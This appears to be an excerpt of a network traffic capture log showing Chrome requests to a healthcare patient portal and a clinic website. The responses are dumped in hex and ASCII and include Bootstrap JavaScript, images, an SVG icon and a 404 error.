2024-04-24 12:45:08 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: text/javascript Content-Length: 63467 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"63467-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:08 UTC	15923	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 36 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v4.6.0 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 5b 68 72 65 66 3d 22 23 27 2b 74 2e 69 64 2b 27 22 5d 2c 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 27 2b 74 2e 69 64 2b 27 22 5d 27 29 29 3b 66 6f 72 28 76 61 72 20 6e 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 Data Ascii: is._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=[].slice.call(document.querySelectorAll('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=[].slice.call(docu
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 61 29 7d 3b 69 66 28 6e 29 7b 76 61 72 20 6c 3d 64 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 2e 5f 64 69 61 6c 6f 67 29 3b 6f 2e 64 65 66 61 75 6c 74 28 74 68 69 73 2e 5f 64 69 61 6c 6f 67 29 2e 6f 6e 65 28 64 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 73 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 6c 29 7d 65 6c 73 65 20 73 28 29 7d 2c 65 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 6f 2e 64 65 66 61 75 6c 74 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 22 66 6f 63 75 73 69 6e 2e 62 73 2e 6d 6f 64 61 6c 22 29 2e 6f 6e 28 22 66 6f 63 75 73 69 6e 2e Data Ascii: ment).trigger(a)};if(n){var l=d.getTransitionDurationFromElement(this._dialog);o.default(this._dialog).one(d.TRANSITION_END,s).emulateTransitionEnd(l)}else s()},e._enforceFocus=function(){var t=this;o.default(document).off("focusin.bs.modal").on("focusin.
2024-04-24 12:45:08 UTC	14776	IN	Data Raw: 74 69 76 65 54 72 69 67 67 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 29 69 66 28 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 74 5d 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 65 2e 5f 67 65 74 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 64 65 66 61 75 6c 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 64 61 74 61 28 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 2d 31 21 3d 3d 7a 2e 69 6e 64 65 78 4f 66 28 74 29 26 26 64 65 6c 65 74 65 20 65 5b 74 5d 7d 29 29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f Data Ascii: tiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},e._getConfig=function(t){var e=o.default(this.element).data();return Object.keys(e).forEach((function(t){-1!==z.indexOf(t)&&delete e[t]})),"number"==typeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50088	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	575	OUT	GET /portal14763/images/newLogin/download-app-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 2780 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"2780-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:08 UTC	2780	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4b 00 00 00 3c 08 06 00 00 00 2e 69 47 93 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 0a 93 49 44 41 54 78 5e ed 9b 7b 50 54 d7 19 c0 bf b3 0b 96 00 c2 3e 80 5d 6c 1a b4 be 45 1b 9d 3a 35 38 bc 06 4d 8d 44 f3 4f 58 88 d3 54 01 8d d5 54 a5 6a 8d ef 60 99 16 7c c5 47 44 d3 d4 16 4d 9c 74 2c 6b a6 93 c4 07 56 3a 55 a1 46 ea 0b 1a 21 c1 68 46 1b 0d bb c0 3e 54 10 63 80 db ef 5c f6 e2 ee b2 f7 b5 bb b8 c0 e4 cc 38 97 f5 9e f3 9d ef fc ee 77 be f3 f8 ce 21 f0 7d 92 4c 80 48 ce f9 7d 46 f0 0b ac a4 24 43 0a c3 30 7e 91 e5 fc 4d 94 9d e4 db 33 e7 8c 9f f6 95 ef e4 53 03 53 92 0c 8b b1 21 6f 02 10 7d af 35 88 61 6a 51 fe da 33 95 a5 9f f4 5a 1d 12 05 7b 0d 2b 39 d1 70 9e 10 32 65 e2 a4 78 48 4c 9c Data Ascii: PNGIHDRK<.iGsBIT\|dIDATx^{PT>]lE:58MDOXTTj`\|GDMt,kV:UF!hF>Tc\8w!}LH}F$C0~M3SS!o}5ajQ3Z{+9p2exHL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50090	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	785	OUT	GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/svg+xml Content-Length: 2133 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-855" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:08 UTC	2133	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 34 2e 37 33 38 34 20 36 39 2e 34 37 36 38 43 35 33 2e 39 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50091	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	589	OUT	GET /config/valleyprohealth.org/config.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:08 UTC	591	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 127 Connection: close x-guploader-uploadid: ABPtcPo3NbZ4q5rFYvocp3Jg6Rc5w5SqmlNJpzsaqOdypGb19ne2WMAAnTcDcT-nZwcTQhkKhYM access-control-allow-origin: * access-control-expose-headers: *, Cache-Control, Content-Length, Date, Expires, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Wed, 24 Apr 2024 12:45:08 GMT Cache-Control: public, max-age=300, must-revalidate CF-Cache-Status: MISS Server: cloudflare CF-RAY: 879630503c9609ed-LAS
2024-04-24 12:45:08 UTC	127	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50092	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	543	OUT	GET /wp-content/uploads/2023/11/HQL-gold-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:09 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 950718 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:46 GMT ETag: "65561f62-e81be" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:09 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd ff b7 5c f5 7d df fb cf 1e bc ee af 9c b6 bf 5c bb 3f 20 db 37 fd 16 af a5 a3 36 6e 40 d4 3d 47 c1 e0 b6 76 2f 02 c2 f2 2d c1 e8 60 6c 70 9a ae 85 fc 17 58 fe 0b 90 7f b8 b7 5d ab 8e 91 92 94 c6 69 6a 44 48 d3 40 83 39 67 61 24 8c 70 10 b1 c0 5c 2b 89 8e 70 00 83 eb 06 fd 7a 57 34 fb ae 3d b3 f7 cc fe f2 f9 bc 3f df 67 e6 1c 3d 1f 5e 63 24 cd ec cf fe cc de 7b f6 9c 99 fd 3a ef 77 51 96 a5 02 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 1b b1 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0c 01 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 08 44 00 0b 00 00 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx\}\? 76n@=Gv/-`lpX]ijDH@9ga$p\+pzW4=?g=^c${:wQ ,D
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: ab 16 1a 57 39 b6 57 6c 5a 54 fb 41 57 cd b1 ec da 7e 50 3f 6f 4d 90 ae f3 9e 1a 1f c0 6a 73 0f 63 f9 06 5f 4b e1 3e 0f 91 6f 44 b6 00 56 67 c6 fd 75 79 54 bf ea 1b b5 ce c3 fa c7 0a 81 5c db a6 9e 0d 57 be b6 71 df b9 75 f9 d1 d7 af e7 1e ff e4 da a4 cd 60 39 09 5e 09 6d 06 85 f3 ae ed 7e bf c3 f3 35 a5 68 47 08 00 00 00 ac 3a 02 58 00 00 00 00 a2 bc bf fb e5 aa 1d c7 f3 cd 18 62 00 4b b8 50 6e 0d 63 59 ab 5f 89 0b e7 69 c3 66 ab d8 a0 ac f7 5f 2d c7 65 15 88 3a f9 91 bf ff f8 6e d2 b9 f5 bc f3 e6 56 75 01 e9 84 2a a7 6d 22 6d 7c c3 39 a5 c7 b5 52 e9 ba e3 68 70 fd b2 ff e0 f0 ea 57 7d fd 0b fb b6 f6 83 92 7c 01 ac f9 c2 41 41 2c c7 4d 12 12 c6 72 09 32 65 fb c6 21 30 74 13 db 82 70 55 02 58 9d bb 42 da 0f ba aa ae e4 47 b4 1f bc c1 f0 62 77 99 92 6b 00 Data Ascii: W9WlZTAW~P?oMjsc_K>oDVguyT\Wqu`9^m~5hG:XbKPncY_if_-e:nVu*m"m\|9RhpW}\|AA,Mr2e!0tpUXBGbwk
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 92 87 c0 c0 67 00 d1 cd dc 9c 3d 7a 89 63 2e 73 97 4f e6 87 e9 29 47 dc 5e 9b fc e7 70 f2 f9 b5 38 47 e1 ad 8c 48 50 97 f0 56 85 78 fd 7a 38 66 5b 64 2d 7e f8 60 2b c6 52 d1 10 c6 a1 5c 8c e5 67 3f 4b 2b 36 0b a6 e1 2d bf 67 88 3a bf 3a 31 56 37 d1 8a 3c 03 5d 3b 2a 8d db 55 31 56 fb 0f 63 89 e8 02 22 9a cf 9a f9 10 25 13 5d e5 db 58 dd 59 e4 f3 16 bf 39 4b bb 43 1c 49 44 0b 6f bf fa a0 39 c7 ce bd 6f d1 16 5b c9 00 00 00 00 00 5b 28 f0 80 05 00 00 00 00 00 bc 19 5c 7e 5a 22 be fa 65 db 8e fe 93 67 25 8e be 5f 3a 47 69 3c 60 55 8e 2f 94 d7 67 41 5d fa d7 f6 6f 26 e1 07 eb 6d 97 8c 97 ff 69 10 7e b0 d6 b6 98 b6 b2 f8 69 e9 fd aa 9a 79 27 1f 5b 81 50 28 ef 57 1a db ed 43 5c 9b 82 c6 2b 84 32 7b c5 b5 32 3b 63 f7 30 5a 4a bc bd 5f b9 d1 ed f0 83 46 34 63 83 Data Ascii: g=zc.sO)G^p8GHPVxz8f[d-~`+R\g?K+6-g::1V7<];*U1Vc"%]XY9KCIDo9o[[(\~Z"eg%_:Gi<`U/gA]o&mi~iy'[P(WC\+2{2;c0ZJ_F4c
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 2a 19 e3 ac c2 0f 1a 1b 8e 0c cb a5 ba 3f d6 87 49 33 c3 23 e4 b1 87 00 ab 6c b9 aa 33 e9 4f 01 96 48 f9 ba e9 ef cd a6 63 b8 4c 0c ef 19 7e 5a 99 de 55 80 45 06 22 2c 7b 01 96 58 2e a5 56 49 39 7f d3 b5 01 0f 01 96 a6 7f a9 f6 fa dc 7b 5b fb dc e7 e9 f5 63 98 be 6d 85 12 5f 91 a7 00 8b 5b a3 de 35 31 96 af 00 4b a4 65 77 f0 98 8f df 3f ce ab 80 00 00 00 00 00 c0 09 08 b0 00 00 00 00 d0 73 06 07 e6 5d 90 84 f7 d3 95 43 1f 92 50 f5 b6 cd 4e 5d c5 20 c6 4a b8 4b 08 55 d8 57 de b1 d6 ac 98 3f 2b 13 8a 4d ad 3b 46 a5 ad f1 11 60 15 a3 29 30 cf 45 bd 16 ab 0c 50 7a 5d f2 58 ac 4a a9 49 df af de af 48 dd 48 7a e5 fd 8a b4 02 2c dd 22 87 4b b8 13 8e 73 d5 5d ff 5e 09 b0 dc bf aa d7 a1 5d b8 2e d7 ab 70 bc ef 97 f1 c5 05 d1 d2 b1 1e eb 60 05 3f 7a 0e 55 f3 a7 57 Data Ascii: *?I3#l3OHcL~ZUE",{X.VI9{[cm_[51Kew?s]CPN] JKUW?+M;F`)0EPz]XJIHHz,"Ks]^].p`?zUW
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 03 97 ce ba 1b 3e db d0 07 9f ae 5a 6f da 2e 31 f1 58 69 66 43 c0 90 56 b6 f8 f7 11 7f bd d5 db 72 d0 6f e7 e8 53 6b 2f 37 61 3e a3 42 84 c8 d2 69 ea 66 bb 94 7b a1 e7 c9 81 12 02 38 34 3a 22 14 49 c8 c0 ae 4a 82 86 42 36 3a 3f 61 62 2c af fb 67 3e b1 23 e6 af ec fa 63 c0 17 63 45 ec 4b e2 69 44 49 3f 28 43 54 e8 cc cc d5 00 40 02 2c 82 20 08 82 38 4e 90 39 03 48 10 04 41 10 04 a1 31 60 53 10 1e 8f 78 75 8b 86 d8 10 53 68 6b 36 c8 ad 2d 18 88 45 c1 e2 39 2a 45 b7 24 88 6d bb 31 53 36 c8 af 2d 11 88 25 85 c2 4b 19 60 6c dd 2b 61 f2 db ed f9 e3 45 a0 22 9b 88 ca 98 18 cb bf b8 2b 8b e3 4d 7c 05 81 88 11 ff 7c ef 40 4c f6 55 5c 98 1e 93 fd 70 a1 ab 23 6c cc 5f 5b 78 30 4b 77 28 c2 f6 26 27 e7 c0 fc da 4b 19 d4 aa a6 07 43 f5 ad 91 3f 1d 96 1b dc 44 d8 88 09 Data Ascii: >Zo.1XifCVroSk/7a>Bif{84:"IJB6:?ab,g>#ccEKiDI?(CT@, 8N9HA1`SxuShk6-E9*E$m1S6-%K`l+aE"+M\|\|@LU\p#l_[x0Kw(&'KC?D
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: a9 55 c1 79 17 dc c1 0e 10 15 48 7a 9b 02 58 95 96 4f d2 33 3b 4f 31 c8 7e a9 cf 29 21 31 16 72 59 48 1a d5 8a 97 18 cb 21 93 25 b8 47 10 04 41 10 84 64 28 05 21 41 10 04 41 10 22 30 f1 55 96 70 09 ea 47 25 62 3d 07 18 a3 f4 83 ce 91 31 bc a4 91 a8 21 86 94 88 bf f4 e9 3b ac 7d 76 16 fd 2a 3c ed 98 1d 8e 26 a6 b5 01 79 de 91 36 ce f5 f4 03 ba 3e 84 48 5f 4c 78 f5 3f ff ec 86 17 5f 7c 2e ee 93 22 5a 7a 90 a7 9f 7e 18 2e 38 af 07 86 a4 76 9b ae 1b 5d 0f f0 ae 13 bd 50 0a 5d 8c 15 f0 d3 d5 20 b9 65 14 34 af 2e cb 46 78 59 ec 6a 2b 86 47 1e fb 02 96 2d 5b e6 7c 9f 0e 61 93 c5 d7 d4 cd 84 99 a7 b2 ba d4 13 b5 f1 84 71 b8 91 a5 58 74 b6 eb af 5e 08 13 6b f4 75 45 3b 7f ee cf 5d e6 90 5e 55 d0 81 79 4d b4 04 84 4b 51 6f a0 db e5 1b 71 42 c4 e6 43 92 bb a1 bc 1c Data Ascii: UyHzXO3;O1~)!1rYH!%GAd(!AA"0UpG%b=1!;}v*<&y6>H_Lx?_\|."Zz~.8v]P] e4.FxYj+G-[\|aqXt^kuE;]^UyMKQoqBC
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 2c 5e 12 d0 1f 95 e0 e4 11 03 a1 a8 d5 bb 7e 87 f6 c4 b0 a5 99 64 62 ac fd d1 5a 58 ba 14 e7 5d c7 0e eb a3 0d e8 b1 1b dd ae 28 ad 8d 66 e8 d2 f6 bf d0 a5 0b 40 bf 44 a6 f5 7d a7 f6 82 1f 5e 72 0b 6c dd 19 81 46 41 51 16 4b 05 df c1 f8 30 60 2b c9 36 39 d1 78 b2 88 57 2f bf b5 15 e6 cc cd 6e ea 77 d6 e7 9e 71 e7 03 b1 6b 77 f5 95 13 60 68 8f 06 80 af 36 a8 2d 68 89 fd df 7b 9c 45 f5 ce 64 ed 1c aa d8 34 1b 28 b4 c7 11 97 07 6c c4 66 50 45 8c e5 da 1b d6 34 90 2a 24 c6 12 79 77 13 1c 87 13 13 aa a7 8b b1 74 8e 48 0a 6a bd 06 03 c0 c3 00 70 29 92 4b 04 41 10 04 41 20 60 60 af fa 24 08 82 20 08 dd 6c db 30 a5 17 00 ac 76 3b 4c c4 10 9b e4 72 3e 05 73 1a 01 8b 07 57 c5 94 bc d7 ca 02 2c ae fd f1 67 61 02 c5 47 2a 27 66 2a b8 1c 74 5c bf 01 1e 05 51 80 81 1c Data Ascii: ,^~dbZX](f@D}^rlFAQK0`+69xW/nwqkw`h6-h{Ed4(lfPE4$ywtHjp)KAA ``$ l0v;Lr>sW,gaG'f*t\Q
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: f2 3b c6 63 3d 09 68 c8 e7 c8 f3 74 7b 76 13 27 25 28 44 c9 77 50 60 2e 5d e5 0c 3f c8 4b 18 6a 4c 9f 10 2b 7d cf 32 c5 4d 87 97 84 78 e3 e5 5b a0 76 89 3a a2 33 84 0e 4b 8c a5 5a fc 7c 51 8f 66 4d 6f 80 89 28 93 a6 c4 58 46 c5 3c dc 62 2c 41 0f 7d 22 62 2c a1 3a 57 d0 07 d0 aa e9 ad 02 cf 58 44 3f 5e ca 53 0a db 78 80 68 7b 91 74 56 e3 f8 23 fa e1 df ff 1e 12 88 79 76 76 ae 9a 7a 0a ba d4 3d cb 5d 2f 3e dd 3c 0c 0f 3d 58 39 e1 07 e3 f0 9f dd 55 57 df 14 8c 1f c7 1e 39 1a c3 7a 2f 8b 14 62 15 7a 4e dd e1 75 c4 eb 6f 72 84 b8 e7 a4 67 97 36 09 67 cd 11 27 70 7a 90 a5 d5 cb cd c9 d1 d9 9f 6b b6 2d 40 8d b3 4e 34 61 c6 a8 cc 60 dc aa 5a b7 af a2 50 85 dd f7 35 d9 0f 30 86 29 e7 f7 86 26 97 4d 79 9a 44 26 cd 56 84 65 b1 58 2c 16 11 ac 00 cb 62 b1 58 2c 55 c5 Data Ascii: ;c=ht{v'%(DwP`.]?KjL+}2Mx[v:3KZ\|QfMo(XF<b,A}"b,:WXD?^Sxh{tV#yvvz=]/><=X9UW9z/bzNuorg6g'pzk-@N4a`ZP50)&MyD&VeX,bX,U
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 0f 57 be d8 0a 75 80 5b 57 e6 84 ed c4 90 ca 07 a2 4f a0 1a 7e b0 5a b7 00 98 68 96 7d 31 56 b8 b0 2b d7 e7 56 69 47 2a 0b de 66 48 74 1d 3c bf 15 36 19 3a 53 67 69 d6 d7 28 a7 2a 50 85 e7 b8 b5 48 f8 9f 9a 4c a8 2f 6f 07 da da be 0c 44 59 a1 20 cb cb 8c d5 65 f6 86 f0 09 47 62 f2 d8 a8 c7 39 f9 32 e2 05 8e 15 09 61 53 4a ef ea 66 28 d6 d7 1e 5e 36 e6 3d c2 03 4b bc e5 66 42 07 a7 52 e2 de 82 62 2d 87 79 1c 1c 10 93 c7 25 0a 3f c8 7d 4a 9e 80 4c df f3 93 16 63 65 e8 dd fc 1c a6 4c 99 82 19 33 66 68 4b 53 88 3f a6 f5 3f 97 4e bd 18 23 77 6b 44 9f 76 6f a3 c6 5d 1d 79 ec 46 6f 2f fc 77 49 3b 3c f1 8f f9 78 e2 89 df 73 d9 f7 85 48 0b 16 0c c1 d4 0b bf 81 bd 7a 3d 5f 24 9c 66 e1 09 94 11 32 c4 1d 8f 18 ab 4b 7b b3 de b1 6e ff d5 3d e8 77 d3 95 18 d9 f3 99 98 Data Ascii: Wu[WO~Zh}1V+ViGfHt<6:Sgi(PHL/oDY eGb92aSJf(^6=KfBRb-y%?}JLceL3fhKS??N#wkDvo]yFo/wI;<xsHz=_$f2K{n=w
